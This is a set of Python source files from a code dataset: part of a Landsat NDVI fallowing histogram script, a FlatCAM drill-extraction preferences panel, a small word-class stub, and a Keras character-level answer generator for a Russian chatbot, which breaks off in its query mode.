np\nimport csv\n\ndata = []\nnum = 0\nnum_fallowed = 0\nnum_not_fallowed = 0\nnum_acres = 0\n\nwith open('LandSat8-Summer-NDVI.csv') as csv_file:\n csv_reader = csv.reader(csv_file, delimiter=',')\n line_count = 0\n for row in csv_reader:\n line_count += 1\n if line_count > 1: \n for index in range(4, 9):\n try:\n num = float(row[index])\n except ValueError:\n print (\"Error on Line \", row[0], \" index \", index)\n else:\n data.append(num)\n if num > .255: \n num_not_fallowed += float(row[1])\n else:\n num_fallowed += float(row[1])\n num_acres += float(row[1])\n print(f'Processed {line_count} lines.')\n print(f'Average Fallowing { num_fallowed / (num_fallowed + num_not_fallowed)} across { num_acres } acres and 19 years of data.')\n\n # Gives 28.17% fallowing of plots\n # Gives 33.5% fallowing of acres\n\nprint(\"graphing!!\")\n\nbins = np.linspace(0, 1, 100)\nplt.hist(data, bins, alpha=0.9)\n\nplt.axvline(x=0.255, ymin=0, ymax = 1, linewidth=1, color='red')\n\nplt.xlabel('Mean Average NDVI (July-August)')\nplt.ylabel('Number of Plots, 1% Binning')\nplt.title('Kern County Fallowed Land Histogram - LandSat 8')\nplt.axis([0, 1, 0, 8000])\nplt.savefig('Kern County 1999-2018 Fallowed Land Histogram - LandSat 8', dpi=500) #300\nplt.clf()\nplt.cla()\nplt.close('all')","sub_path":"Iterative Approach/KernData/histogram-comparison.py","file_name":"histogram-comparison.py","file_ext":"py","file_size_in_byte":1578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"313334052","text":"from PyQt5 import QtWidgets\nfrom PyQt5.QtCore import QSettings\n\nfrom appGUI.GUIElements import FCCheckBox, RadioSet, FCDoubleSpinner\nfrom appGUI.preferences.OptionsGroupUI import OptionsGroupUI\n\nimport gettext\nimport appTranslation as fcTranslate\nimport builtins\n\nfcTranslate.apply_language('strings')\nif '_' not in builtins.__dict__:\n _ = gettext.gettext\n\nsettings = QSettings(\"Open Source\", \"FlatCAM\")\nif settings.contains(\"machinist\"):\n machinist_setting = settings.value('machinist', type=int)\nelse:\n machinist_setting = 0\n\n\nclass Tools2EDrillsPrefGroupUI(OptionsGroupUI):\n def __init__(self, decimals=4, parent=None):\n\n super(Tools2EDrillsPrefGroupUI, self).__init__(self, parent=parent)\n\n self.setTitle(str(_(\"Extract Drills Options\")))\n self.decimals = decimals\n\n # ## Grid Layout\n grid_lay = QtWidgets.QGridLayout()\n self.layout.addLayout(grid_lay)\n grid_lay.setColumnStretch(0, 0)\n grid_lay.setColumnStretch(1, 1)\n\n self.param_label = QtWidgets.QLabel('%s:' % _('Parameters'))\n self.param_label.setToolTip(\n _(\"Parameters used for this tool.\")\n )\n grid_lay.addWidget(self.param_label, 0, 0, 1, 2)\n\n self.padt_label = QtWidgets.QLabel(\"%s:\" % _(\"Processed Pads Type\"))\n self.padt_label.setToolTip(\n _(\"The type of pads shape to be processed.\\n\"\n \"If the PCB has many SMD pads with rectangular pads,\\n\"\n \"disable the Rectangular aperture.\")\n )\n\n grid_lay.addWidget(self.padt_label, 2, 0, 1, 2)\n\n # Circular Aperture Selection\n self.circular_cb = FCCheckBox('%s' % _(\"Circular\"))\n self.circular_cb.setToolTip(\n _(\"Process Circular Pads.\")\n )\n\n grid_lay.addWidget(self.circular_cb, 3, 0, 1, 2)\n\n # Oblong Aperture Selection\n self.oblong_cb = FCCheckBox('%s' % _(\"Oblong\"))\n self.oblong_cb.setToolTip(\n _(\"Process Oblong Pads.\")\n )\n\n grid_lay.addWidget(self.oblong_cb, 4, 0, 1, 2)\n\n # Square Aperture Selection\n self.square_cb = FCCheckBox('%s' % _(\"Square\"))\n self.square_cb.setToolTip(\n _(\"Process Square Pads.\")\n )\n\n grid_lay.addWidget(self.square_cb, 5, 0, 1, 2)\n\n # Rectangular Aperture Selection\n self.rectangular_cb = FCCheckBox('%s' % _(\"Rectangular\"))\n self.rectangular_cb.setToolTip(\n _(\"Process Rectangular Pads.\")\n )\n\n grid_lay.addWidget(self.rectangular_cb, 6, 0, 1, 2)\n\n # Others type of Apertures Selection\n self.other_cb = FCCheckBox('%s' % _(\"Others\"))\n self.other_cb.setToolTip(\n _(\"Process pads not in the categories above.\")\n )\n\n grid_lay.addWidget(self.other_cb, 7, 0, 1, 2)\n\n separator_line = QtWidgets.QFrame()\n separator_line.setFrameShape(QtWidgets.QFrame.HLine)\n separator_line.setFrameShadow(QtWidgets.QFrame.Sunken)\n grid_lay.addWidget(separator_line, 8, 0, 1, 2)\n\n # ## Axis\n self.hole_size_radio = RadioSet(\n [\n {'label': _(\"Fixed Diameter\"), 'value': 'fixed'},\n {'label': _(\"Fixed Annular Ring\"), 'value': 'ring'},\n {'label': _(\"Proportional\"), 'value': 'prop'}\n ],\n orientation='vertical',\n stretch=False)\n self.hole_size_label = QtWidgets.QLabel('%s:' % _(\"Method\"))\n self.hole_size_label.setToolTip(\n _(\"The method for processing pads. Can be:\\n\"\n \"- Fixed Diameter -> all holes will have a set size\\n\"\n \"- Fixed Annular Ring -> all holes will have a set annular ring\\n\"\n \"- Proportional -> each hole size will be a fraction of the pad size\"))\n\n grid_lay.addWidget(self.hole_size_label, 9, 0)\n grid_lay.addWidget(self.hole_size_radio, 9, 1)\n\n # grid_lay1.addWidget(QtWidgets.QLabel(''))\n\n separator_line = QtWidgets.QFrame()\n separator_line.setFrameShape(QtWidgets.QFrame.HLine)\n separator_line.setFrameShadow(QtWidgets.QFrame.Sunken)\n grid_lay.addWidget(separator_line, 10, 0, 1, 2)\n\n # Annular Ring\n self.fixed_label = QtWidgets.QLabel('%s' % _(\"Fixed Diameter\"))\n grid_lay.addWidget(self.fixed_label, 11, 0, 1, 2)\n\n # Diameter value\n self.dia_entry = FCDoubleSpinner()\n self.dia_entry.set_precision(self.decimals)\n self.dia_entry.set_range(0.0000, 10000.0000)\n\n self.dia_label = QtWidgets.QLabel('%s:' % _(\"Value\"))\n self.dia_label.setToolTip(\n _(\"Fixed hole diameter.\")\n )\n\n grid_lay.addWidget(self.dia_label, 12, 0)\n grid_lay.addWidget(self.dia_entry, 12, 1)\n\n # Annular Ring value\n self.ring_label = QtWidgets.QLabel('%s' % _(\"Fixed Annular Ring\"))\n self.ring_label.setToolTip(\n _(\"The size of annular ring.\\n\"\n \"The copper sliver between the hole exterior\\n\"\n \"and the margin of the copper pad.\")\n )\n grid_lay.addWidget(self.ring_label, 13, 0, 1, 2)\n\n # Circular Annular Ring Value\n self.circular_ring_label = QtWidgets.QLabel('%s:' % _(\"Circular\"))\n self.circular_ring_label.setToolTip(\n _(\"The size of annular ring for circular pads.\")\n )\n\n self.circular_ring_entry = FCDoubleSpinner()\n self.circular_ring_entry.set_precision(self.decimals)\n self.circular_ring_entry.set_range(0.0000, 10000.0000)\n\n grid_lay.addWidget(self.circular_ring_label, 14, 0)\n grid_lay.addWidget(self.circular_ring_entry, 14, 1)\n\n # Oblong Annular Ring Value\n self.oblong_ring_label = QtWidgets.QLabel('%s:' % _(\"Oblong\"))\n self.oblong_ring_label.setToolTip(\n _(\"The size of annular ring for oblong pads.\")\n )\n\n self.oblong_ring_entry = FCDoubleSpinner()\n self.oblong_ring_entry.set_precision(self.decimals)\n self.oblong_ring_entry.set_range(0.0000, 10000.0000)\n\n grid_lay.addWidget(self.oblong_ring_label, 15, 0)\n grid_lay.addWidget(self.oblong_ring_entry, 15, 1)\n\n # Square Annular Ring Value\n self.square_ring_label = QtWidgets.QLabel('%s:' % _(\"Square\"))\n self.square_ring_label.setToolTip(\n _(\"The size of annular ring for square pads.\")\n )\n\n self.square_ring_entry = FCDoubleSpinner()\n self.square_ring_entry.set_precision(self.decimals)\n self.square_ring_entry.set_range(0.0000, 10000.0000)\n\n grid_lay.addWidget(self.square_ring_label, 16, 0)\n grid_lay.addWidget(self.square_ring_entry, 16, 1)\n\n # Rectangular Annular Ring Value\n self.rectangular_ring_label = QtWidgets.QLabel('%s:' % _(\"Rectangular\"))\n self.rectangular_ring_label.setToolTip(\n _(\"The size of annular ring for rectangular pads.\")\n )\n\n self.rectangular_ring_entry = FCDoubleSpinner()\n self.rectangular_ring_entry.set_precision(self.decimals)\n self.rectangular_ring_entry.set_range(0.0000, 10000.0000)\n\n grid_lay.addWidget(self.rectangular_ring_label, 17, 0)\n grid_lay.addWidget(self.rectangular_ring_entry, 17, 1)\n\n # Others Annular Ring Value\n self.other_ring_label = QtWidgets.QLabel('%s:' % _(\"Others\"))\n self.other_ring_label.setToolTip(\n _(\"The size of annular ring for other pads.\")\n )\n\n self.other_ring_entry = FCDoubleSpinner()\n self.other_ring_entry.set_precision(self.decimals)\n self.other_ring_entry.set_range(0.0000, 10000.0000)\n\n grid_lay.addWidget(self.other_ring_label, 18, 0)\n grid_lay.addWidget(self.other_ring_entry, 18, 1)\n\n self.prop_label = QtWidgets.QLabel('%s' % _(\"Proportional Diameter\"))\n grid_lay.addWidget(self.prop_label, 19, 0, 1, 2)\n\n # Factor value\n self.factor_entry = FCDoubleSpinner(suffix='%')\n self.factor_entry.set_precision(self.decimals)\n self.factor_entry.set_range(0.0000, 100.0000)\n self.factor_entry.setSingleStep(0.1)\n\n self.factor_label = QtWidgets.QLabel('%s:' % _(\"Factor\"))\n self.factor_label.setToolTip(\n _(\"Proportional Diameter.\\n\"\n \"The hole diameter will be a fraction of the pad size.\")\n )\n\n grid_lay.addWidget(self.factor_label, 20, 0)\n grid_lay.addWidget(self.factor_entry, 20, 1)\n\n self.layout.addStretch()\n","sub_path":"HSRWLaserTool_APP/FlatCAM_beta_8.994_sources/appGUI/preferences/tools/Tools2EDrillsPrefGroupUI.py","file_name":"Tools2EDrillsPrefGroupUI.py","file_ext":"py","file_size_in_byte":8500,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"95905244","text":"\n\nfrom xai.brain.wordbase.nouns._dutchman import _DUTCHMAN\n\n#calss header\nclass _DUTCHMEN(_DUTCHMAN, ):\n\tdef __init__(self,): \n\t\t_DUTCHMAN.__init__(self)\n\t\tself.name = \"DUTCHMEN\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"dutchman\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_dutchmen.py","file_name":"_dutchmen.py","file_ext":"py","file_size_in_byte":250,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"309692630","text":"# -*- coding: utf-8 -*-\n'''\nНейросетевая модель для посимвольной генерации ответа на вопрос, заданный\nк определенной фразе-предпосылке. Генерируется полный ответ сразу (в виде цепочки символов).\n\nДля проекта чат-бота https://github.com/Koziev/chatbot\n\nИспользуемые датасеты должны быть предварительно сгенерированы\nскриптом scripts/prepare_datasets.sh\n'''\n\nfrom __future__ import division # for python2 compatibility\nfrom __future__ import print_function\n\nimport gc\nimport itertools\nimport json\nimport os\nimport argparse\nimport sys\nimport six\nimport codecs\nfrom collections import Counter\n\nimport gensim\nimport keras.callbacks\nimport numpy as np\nimport pandas as pd\nimport tqdm\nfrom keras.callbacks import ModelCheckpoint, EarlyStopping\nfrom keras import initializers\nfrom keras.layers import Conv1D, GlobalMaxPooling1D, GlobalAveragePooling1D\nfrom keras.layers import Input\nfrom keras.layers import recurrent\nfrom keras.layers import Flatten\nfrom keras.layers.core import RepeatVector, Dense\nfrom keras.layers.wrappers import Bidirectional\nfrom keras.layers.wrappers import TimeDistributed\nfrom keras.models import Model\nfrom sklearn.model_selection import train_test_split\nfrom keras.models import model_from_json\nimport keras_contrib.optimizers.ftml\n\nfrom utils.tokenizer import Tokenizer\nfrom trainers.word_embeddings import WordEmbeddings\n\nfrom layers.word_match_layer import match\n\ninput_path = '../data/premise_question_answer.csv'\ntmp_folder = '../tmp'\ndata_folder = '../data'\n\n#NET_ARCH = 'lstm'\n#NET_ARCH = 'lstm+cnn'\nNET_ARCH = 'lstm(cnn)'\n\n#GENERATOR_ARCH = 'lstm'\nGENERATOR_ARCH = 'lstm(lstm)'\n#GENERATOR_ARCH = 'lstm(lstm(lstm))'\n\n\n#BATCH_SIZE = 1000\nBATCH_SIZE = 400\n\n# Максимальная длина ответа в символах.\nMAX_ANSWER_LEN = 30\n\n# Кол-во ядер в сверточных слоях упаковщика предложений.\nnb_filters = 128\n\nUSE_WORD_MATCHING = False\n\ninitializer = 'random_normal'\n\n\n# w2v_path = '~/w2v/w2v.CBOW=0_WIN=5_DIM=32.txt'\nw2v_path = '~/polygon/w2v/w2v.CBOW=1_WIN=5_DIM=64.bin'\n# w2v_path = '~/polygon/WordSDR2/sdr.dat'\n# w2v_path = '~/polygon/w2v/w2v.CBOW=0_WIN=5_DIM=128.txt'\n# w2v_path = r'f:\\Word2Vec\\word_vectors_cbow=1_win=5_dim=32.txt'\n\n\n\n# -------------------------------------------------------------------\n\nPAD_WORD = u''\nPAD_CHAR = u'\\r'\n\n# -------------------------------------------------------------------------\n\ndef prepare_answer(answer_str):\n return answer_str\n\n\n# Слева добавляем пустые слова\ndef lpad_wordseq(words, n):\n return list(itertools.chain(itertools.repeat(PAD_WORD, n-len(words)), words))\n\n\n# Справа добавляем пустые слова\ndef rpad_wordseq(words, n):\n return list(itertools.chain(words, itertools.repeat(PAD_WORD, n-len(words))))\n\n\ndef pad_input_wordseq(words, n):\n return lpad_wordseq(words, n)\n\n\ndef rpad_charseq(s, n):\n return s+PAD_CHAR*max(0, n-len(s))\n\n\ndef vectorize_words(words, M, irow, word2vec):\n for iword, word in enumerate(words):\n if word != PAD_WORD:\n M[irow, iword, :] = word2vec[word]\n\n\ndef generate_rows(sequences, targets, batch_size, mode, char2id):\n batch_index = 0\n batch_count = 0\n\n X1_batch = np.zeros((batch_size, max_inputseq_len, word_dims), dtype=np.float32)\n X2_batch = np.zeros((batch_size, max_inputseq_len, word_dims), dtype=np.float32)\n y_batch = np.zeros((batch_size, max_outputseq_len, output_dims), dtype=np.bool)\n\n while True:\n for irow, (seq, target) in enumerate(itertools.izip(sequences, targets)):\n vectorize_words(seq[0], X1_batch, batch_index, word2vec)\n vectorize_words(seq[1], X2_batch, batch_index, word2vec)\n for ichar, c in enumerate(target):\n y_batch[batch_index, ichar, char2id[c]] = True\n\n batch_index += 1\n\n if batch_index == batch_size:\n batch_count += 1\n\n if mode == 1:\n yield ({'input_words1': X1_batch, 'input_words2': X2_batch}, {'output': y_batch})\n else:\n yield {'input_words1': X1_batch, 'input_words2': X2_batch}\n\n # очищаем матрицы порции для новой порции\n X1_batch.fill(0)\n X2_batch.fill(0)\n y_batch.fill(0)\n batch_index = 0\n\n# -------------------------------------------------------------------\n\n\ndef decode_ystr(y, index2char):\n s = []\n for char_v in y:\n char_index = np.argmax(char_v)\n c = index2char[char_index]\n s.append(c)\n\n return u''.join(s).replace(PAD_CHAR, u' ').strip()\n\n\n\nclass colors:\n ok = '\\033[92m'\n fail = '\\033[91m'\n close = '\\033[0m'\n\n\nclass VisualizeCallback(keras.callbacks.Callback):\n\n def __init__(self, val_input, val_output, model, weights_path, char2id):\n self.epoch = 0\n self.val_input = val_input\n self.val_output = val_output\n self.model = model\n self.weights_path = weights_path\n self.char2id = char2id\n self.id2char = dict([(i, c) for c, i in char2id.items()])\n self.best_acc = 0\n self.stop_epoch = 0\n self.early_stopping = 20\n self.wait_epoch = 0\n self.val_acc_history = [] # для сохранения кривой обучения\n\n def decode_str(self, y):\n return decode_ystr(y, self.id2char)\n\n def on_epoch_end(self, batch, logs={}):\n self.epoch = self.epoch+1\n nval = len(self.val_input)\n\n # восстанавливаем сгенерированные символьные цепочки ответов, сравниваем с\n # требуемыми цепочками.\n nb_errors = 0\n\n # Счетчик напечатанных строк, сгенерированных моделью\n nb_shown = 0\n\n nb_steps = int(nval/BATCH_SIZE)\n\n print('')\n for step, batch in enumerate(generate_rows(self.val_input, self.val_output, BATCH_SIZE, 1, self.char2id)):\n if step == nb_steps:\n break\n\n y_batch = batch[1]['output']\n y_pred = model.predict_on_batch(batch[0])\n\n for iy in range(len(y_pred)):\n target_chars = self.decode_str(y_batch[iy])\n predicted_chars = self.decode_str(y_pred[iy])\n\n if predicted_chars != target_chars:\n nb_errors += 1\n\n if nb_shown < 10:\n print(\n colors.ok + '☑ ' + colors.close if predicted_chars == target_chars else colors.fail + '☒ ' + colors.close,\n end='')\n\n print(u'true={}\\t\\tmodel={}'.format(target_chars, predicted_chars))\n nb_shown += 1\n\n acc = (nval-nb_errors)/float(nval)\n self.val_acc_history.append(acc)\n if acc > self.best_acc:\n print(colors.ok+'New best instance accuracy={}\\n'.format(acc)+colors.close)\n self.wait_epoch = 0\n self.model.save_weights(self.weights_path)\n self.best_acc = acc\n else:\n self.wait_epoch += 1\n print('\\nInstance accuracy={} did not improve ({} epochs since last improvement)\\n'.format(acc, self.wait_epoch))\n if self.wait_epoch >= self.early_stopping:\n print('Training stopped after {} epochs without impromevent'.format(self.wait_epoch))\n print('Best instance accuracy={}'.format(self.best_acc))\n self.model.stop_training = True\n self.stop_epoch = self.epoch\n\n def save_learning_curve(self, path):\n with open(path, 'w') as wrt:\n wrt.write('epoch\\tacc\\n')\n for i, acc in enumerate(self.val_acc_history):\n wrt.write('{}\\t{}\\n'.format(i+1,acc))\n\n# -------------------------------------------------------------------\n\nparser = argparse.ArgumentParser(description='Answer text generator')\nparser.add_argument('--run_mode', type=str, default='train', help='what to do: train | query')\nparser.add_argument('--model_dir', type=str, default='../tmp')\n\nargs = parser.parse_args()\n\nrun_mode = args.run_mode\nmodel_dir = args.model_dir\n\n\nconfig_path = os.path.join(tmp_folder, 'qa_chargenerator.config')\n\ntokenizer = Tokenizer()\n\n\nif run_mode == 'train':\n # В этих файлах будем сохранять натренированную сетку\n arch_filepath = os.path.join(tmp_folder, 'qa_chargenerator.arch')\n weights_path = os.path.join(tmp_folder, 'qa_chargenerator.weights')\n\n wordchar2vector_path = os.path.join(data_folder, 'wordchar2vector.dat')\n print('Loading the wordchar2vector model {}'.format(wordchar2vector_path))\n wc2v = gensim.models.KeyedVectors.load_word2vec_format(wordchar2vector_path, binary=False)\n wc2v_dims = len(wc2v.syn0[0])\n print('wc2v_dims={0}'.format(wc2v_dims))\n\n # --------------------------------------------------------------------------\n # Загружаем датасет, анализируем использование символов и слов.\n df = pd.read_csv(input_path, encoding='utf-8', delimiter='\\t', quoting=3)\n print('samples.count={}'.format(df.shape[0]))\n\n max_inputseq_len = 0\n max_outputseq_len = 0 # максимальная длина ответа\n all_words = set([PAD_WORD])\n all_chars = set([PAD_CHAR])\n\n for i, record in df.iterrows():\n answer = record['answer']\n if len(answer) <= MAX_ANSWER_LEN: # для отладки модели\n if answer not in [u'да']:\n all_chars.update(answer)\n max_outputseq_len = max(max_outputseq_len, len(answer))\n\n for phrase in [record['premise'], record['question']]:\n all_chars.update(phrase)\n words = tokenizer.tokenize(phrase)\n all_words.update(words)\n max_inputseq_len = max(max_inputseq_len, len(words))\n\n for word in wc2v.vocab:\n all_words.add(word)\n\n print('max_inputseq_len={}'.format(max_inputseq_len))\n print('max_outputseq_len={}'.format(max_outputseq_len))\n\n char2id = dict(\n [(c, i) for i, c in enumerate(itertools.chain([PAD_CHAR], filter(lambda z: z != PAD_CHAR, all_chars)))])\n\n nb_chars = len(all_chars)\n nb_words = len(all_words)\n print('nb_chars={}'.format(nb_chars))\n print('nb_words={}'.format(nb_words))\n\n # --------------------------------------------------------------------------\n\n print('Loading the w2v model {}'.format(os.path.expanduser(w2v_path)))\n w2v = gensim.models.KeyedVectors.load_word2vec_format(os.path.expanduser(w2v_path), binary=not w2v_path.endswith('.txt'))\n w2v_dims = len(w2v.syn0[0])\n print('w2v_dims={0}'.format(w2v_dims))\n\n word_dims = w2v_dims + wc2v_dims\n\n word2vec = dict()\n for word in wc2v.vocab:\n v = np.zeros(word_dims)\n v[w2v_dims:] = wc2v[word]\n if word in w2v:\n v[:w2v_dims] = w2v[word]\n\n word2vec[word] = v\n\n del w2v\n del wc2v\n gc.collect()\n # -------------------------------------------------------------------\n\n rnn_size = word_dims\n\n final_merge_size = 0 # вычисляемый параметр сетки - размер вектора на выходе энкодера\n\n print('Building the NN computational graph {} {}'.format(NET_ARCH, GENERATOR_ARCH))\n words_net1 = Input(shape=(max_inputseq_len, word_dims,), dtype='float32', name='input_words1')\n words_net2 = Input(shape=(max_inputseq_len, word_dims,), dtype='float32', name='input_words2')\n\n conv1 = []\n conv2 = []\n encoder_size = 0\n\n if NET_ARCH == 'lstm':\n\n # Энкодер на базе LSTM, на выходе которого получаем вектор с упаковкой слов\n # каждого из входных предложений. Сетка сделана общей для предпосылки и вопроса,\n # так как такое усреднение улучшает качество в сравнении с вариантом раздельных\n # сеток для каждого из предложений.\n shared_words_rnn = Bidirectional(recurrent.LSTM(rnn_size,\n input_shape=(max_inputseq_len, word_dims),\n return_sequences=False))\n encoder_rnn1 = shared_words_rnn(words_net1)\n encoder_rnn2 = shared_words_rnn(words_net2)\n\n conv1.append(encoder_rnn1)\n conv2.append(encoder_rnn2)\n encoder_size += rnn_size*2\n\n if NET_ARCH == 'lstm+cnn':\n # Энкодер на базе LSTM, на выходе которого получаем вектор с упаковкой слов\n # каждого из входных предложений. Сетка сделана общей для предпосылки и вопроса,\n # так как такое усреднение улучшает качество в сравнении с вариантом раздельных\n # сеток для каждого из предложений.\n shared_words_rnn = Bidirectional(recurrent.LSTM(rnn_size,\n input_shape=(max_inputseq_len, word_dims),\n return_sequences=False))\n encoder_rnn1 = shared_words_rnn(words_net1)\n encoder_rnn2 = shared_words_rnn(words_net2)\n\n conv1.append(encoder_rnn1)\n conv2.append(encoder_rnn2)\n\n encoder_size += rnn_size*2\n\n # добавляем входы со сверточными слоями\n for kernel_size in range(2, 4):\n conv = Conv1D(filters=nb_filters,\n kernel_size=kernel_size,\n padding='valid',\n activation='relu',\n strides=1)\n\n #dense2 = Dense(units=nb_filters)\n\n conv_layer1 = conv(words_net1)\n conv_layer1 = GlobalAveragePooling1D()(conv_layer1)\n #conv_layer1 = dense2(conv_layer1)\n conv1.append(conv_layer1)\n\n conv_layer2 = conv(words_net2)\n conv_layer2 = GlobalAveragePooling1D()(conv_layer2)\n #conv_layer2 = dense2(conv_layer2)\n conv2.append(conv_layer2)\n\n encoder_size += nb_filters\n\n if NET_ARCH == 'lstm(cnn)':\n for kernel_size in range(1, 4):\n # сначала идут сверточные слои, образующие детекторы словосочетаний\n # и синтаксических конструкций\n conv = Conv1D(filters=nb_filters,\n kernel_size=kernel_size,\n kernel_initializer=initializer,\n padding='valid',\n activation='relu',\n strides=1,\n name='shared_conv_{}'.format(kernel_size))\n\n lstm = recurrent.LSTM(rnn_size,\n return_sequences=False,\n kernel_initializer='random_normal')\n pooler = keras.layers.AveragePooling1D(pool_size=kernel_size, strides=None, padding='valid')\n\n conv_layer1 = conv(words_net1)\n conv_layer1 = pooler(conv_layer1)\n conv_layer1 = lstm(conv_layer1)\n conv1.append(conv_layer1)\n\n conv_layer2 = conv(words_net2)\n conv_layer2 = pooler(conv_layer2)\n conv_layer2 = lstm(conv_layer2)\n conv2.append(conv_layer2)\n\n encoder_size += rnn_size\n\n # Слой для попарной похожести слов во входных цепочках.\n if USE_WORD_MATCHING:\n pq = match(inputs=[words_net1, words_net2], axes=-1, normalize=False, match_type='dot')\n pq = Flatten()(pq)\n encoder_merged = keras.layers.concatenate(inputs=list(itertools.chain(conv1, conv2, [pq])))\n else:\n encoder_merged = keras.layers.concatenate(inputs=list(itertools.chain(conv1, conv2)))\n\n encoder_final = Dense(units=int(encoder_size), activation='relu', kernel_initializer=initializer)(encoder_merged)\n encoder_final = Dense(units=int(encoder_size), activation='relu', kernel_initializer=initializer)(encoder_final)\n\n # декодер генерирует цепочку символов ответа\n output_dims = nb_chars\n# decoder = Dense(units=encoder_size, activation='relu')(encoder_final)\n# decoder = Dense(units=encoder_size, activation='relu')(decoder)\n# decoder = Dense(units=encoder_size, activation='relu')(decoder)\n decoder = RepeatVector(max_outputseq_len)(encoder_final)\n\n # Стек из нескольких рекуррентных слоев. Предполагается, что первый\n # слой формирует грубую структуру ответа, а второй слой уточняет\n # ее до точной цепочки символов и т.д., а последний слой формирует\n # цепочку символов\n if GENERATOR_ARCH == 'lstm(lstm(lstm))':\n decoder = recurrent.LSTM(encoder_size, return_sequences=True, kernel_initializer=initializer)(decoder)\n decoder = recurrent.LSTM(encoder_size, return_sequences=True, kernel_initializer=initializer)(decoder)\n decoder = recurrent.LSTM(encoder_size, return_sequences=True, kernel_initializer=initializer)(decoder)\n elif GENERATOR_ARCH == 'lstm(lstm)':\n decoder = recurrent.LSTM(encoder_size, return_sequences=True, kernel_initializer=initializer)(decoder)\n decoder = recurrent.LSTM(encoder_size, return_sequences=True, kernel_initializer=initializer)(decoder)\n else:\n decoder = recurrent.LSTM(encoder_size, return_sequences=True, kernel_initializer=initializer)(decoder)\n\n decoder = TimeDistributed(Dense(nb_chars, activation='softmax', kernel_initializer=initializer), name='output')(decoder)\n\n model = Model(inputs=[words_net1, words_net2], outputs=decoder)\n\n #opt = 'nadam'\n #opt = 'rmsprop'\n opt = 'adam'\n #opt = keras_contrib.optimizers.FTML()\n model.compile(loss='categorical_crossentropy', optimizer=opt)\n\n with open(arch_filepath, 'w') as f:\n f.write(model.to_json())\n\n input_data = []\n output_data = []\n\n for index, row in tqdm.tqdm(df.iterrows(), total=df.shape[0], desc='Extract phrases'):\n premise = row['premise']\n question = row['question']\n answer = row['answer']\n if len(answer) <= MAX_ANSWER_LEN:\n if answer not in [u'да']:\n\n answer = prepare_answer(answer) # эксперимент\n\n premise_words = pad_input_wordseq(tokenizer.tokenize(premise), max_inputseq_len)\n question_words = pad_input_wordseq(tokenizer.tokenize(question), max_inputseq_len)\n\n input_data.append((premise_words, question_words, premise, question))\n output_data.append(rpad_charseq(answer, max_outputseq_len))\n\n #if len(input_data)>=1000:\n # break\n\n SEED = 123456\n TEST_SHARE = 0.2\n train_input, val_input, train_output, val_output = train_test_split(input_data,\n output_data,\n test_size=TEST_SHARE,\n random_state=SEED)\n\n batch_size = BATCH_SIZE\n\n nb_train_patterns = len(train_input)\n nb_valid_patterns = len(val_input)\n\n print('Start training using {} patterns for training, {} for validation...'.format(nb_train_patterns, nb_valid_patterns))\n\n #monitor_metric = 'val_loss'\n #model_checkpoint = ModelCheckpoint(weights_path, monitor=monitor_metric, verbose=1, save_best_only=True, mode='auto')\n #early_stopping = EarlyStopping(monitor=monitor_metric, patience=10, verbose=1, mode='auto')\n\n viz = VisualizeCallback(val_input, val_output, model, weights_path, char2id)\n\n #callbacks = [model_checkpoint, early_stopping, viz]\n callbacks = [viz]\n\n hist = model.fit_generator(generator=generate_rows(train_input, train_output, batch_size, 1, char2id),\n steps_per_epoch=nb_train_patterns//batch_size,\n epochs=1000,\n verbose=1,\n callbacks=callbacks,\n validation_data=generate_rows(val_input, val_output, batch_size, 1, char2id),\n validation_steps=nb_valid_patterns//batch_size\n )\n\n print('Training is finished.')\n\n viz.save_learning_curve(os.path.join(tmp_folder, 'qa_chargenerator.learning_curve.tsv'))\n\n # сохраним конфиг модели, чтобы ее использовать в чат-боте\n model_config = {\n 'max_inputseq_len': max_inputseq_len,\n 'max_outputseq_len': max_outputseq_len,\n 'w2v_path': w2v_path,\n 'wordchar2vector_path': wordchar2vector_path,\n 'PAD_WORD': PAD_WORD,\n 'PAD_CHAR': ord(PAD_CHAR),\n 'model_folder': tmp_folder,\n 'word_dims': word_dims,\n 'arch_filepath': arch_filepath,\n 'weights_path': weights_path,\n 'char2id': char2id\n }\n\n with open(config_path, 'w') as f:\n json.dump(model_config, f)\n\n model.load_weights(weights_path)\n\n nval = len(val_input)\n print(u'Финальная валидация модели на {} сэмплах'.format(nval))\n id2char = dict([(i, c) for c, i in char2id.items()])\n\n # Накопим кол-во ошибок и сэмплов для ответов разной длины.\n answerlen2samples = Counter()\n answerlen2errors = Counter()\n\n with codecs.open(os.path.join(tmp_folder, 'qa_chargenerator_model.validation.txt'), 'w', 'utf-8') as wrt:\n nb_steps = nval // BATCH_SIZE\n isample = 0\n for step, batch in enumerate(generate_rows(val_input, val_output, BATCH_SIZE, 1, char2id)):\n if step == nb_steps:\n break\n\n y_batch = batch[1]['output']\n y_pred = model.predict_on_batch(batch[0])\n\n for iy in range(len(y_pred)):\n target_chars = decode_ystr(y_batch[iy], id2char)\n predicted_chars = decode_ystr(y_pred[iy], id2char)\n\n answer_len = len(target_chars)\n answerlen2samples[answer_len] += 1\n\n if predicted_chars != target_chars:\n wrt.write(u'Premise: {}\\n'.format(u' '.join(val_input[isample][0]).strip()))\n wrt.write(u'Question: {}\\n'.format(u' '.join(val_input[isample][1]).strip()))\n wrt.write(u'True answer: {}\\n'.format(target_chars))\n wrt.write(u'Model answer: {}\\n'.format(predicted_chars))\n wrt.write('\\n\\n')\n answerlen2errors[answer_len] += 1\n\n isample += 1\n\n # Accuracy for answers with respect to their lengths:\n with open(os.path.join(tmp_folder, 'qa_chargenerator_model.accuracy.csv'), 'w') as wrt:\n wrt.write('answer_len\\tnb_samples\\taccuracy\\n')\n for answer_len in sorted(answerlen2samples.keys()):\n support = answerlen2samples[answer_len]\n nb_err = answerlen2errors[answer_len]\n acc = 1.0 - float(nb_err)/float(support)\n wrt.write(u'{}\\t{}\\t{}\\n'.format(answer_len, support, acc))\n\n\n\n\nif run_mode == 'query':\n with open(config_path, 'r') as f:\n cfg = json.load(f)\n\n max_inputseq_len = cfg['max_inputseq_len']\n max_outputseq_len = cfg['max_outputseq_len']\n w2v_path = cfg['w2v_path']\n wordchar2vector_path = cfg['wordchar2vector_path']\n word_dims = cfg['word_dims']\n arch_filepath = cfg['arch_filepath']\n weights_path = cfg['weights_path']\n char2id = cfg['char2id']\n\n 